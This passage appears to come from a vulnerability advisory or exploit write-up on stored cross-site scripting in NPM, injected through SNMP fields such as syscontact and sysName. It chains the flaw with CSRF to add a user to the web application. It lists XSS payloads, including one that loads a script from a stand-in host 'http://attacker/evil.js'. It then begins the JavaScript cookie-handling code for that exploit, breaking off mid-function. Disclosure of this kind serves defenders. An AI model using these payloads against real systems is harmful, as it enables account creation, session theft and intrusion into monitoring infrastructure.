The vulnerable fields were determined to be: syslocation <script>alert('location')</script> syscontact <script>alert('contact')</script> sysName <script>alert('name')</script> In addition, NPM is also vulnerable to CSRF attacks despite the fact that it makes use of VIEWSTATE protection. Through a combination of XSS and CSRF, a user can be added to the web application by configuring the snmpd.conf file to point to an attacker-controlled JavaScript file: syscontact <script src="http://attacker/evil.js"></script> */ function getCookie(c_name) { var i,x,y,ARRcookies=document.cookie.split(";"); for (i=0;i<ARRcookies.length;i++) { x=ARRcookies[i].substr(0,ARRcookies[i].indexOf("=")); y=ARRcookies[i].substr(ARRcookies[i].indexOf("=")+1); x=x.replace(/^\s+|\s+$/g,""); if (x==c_name) { return unescape(y); } } } function setCookie(c_name,value,exdays) { var exdate=new Date(); exdate.setDate(exdate.getDate() + exdays); var c_value=escape(value) + ((exdays==null) ?
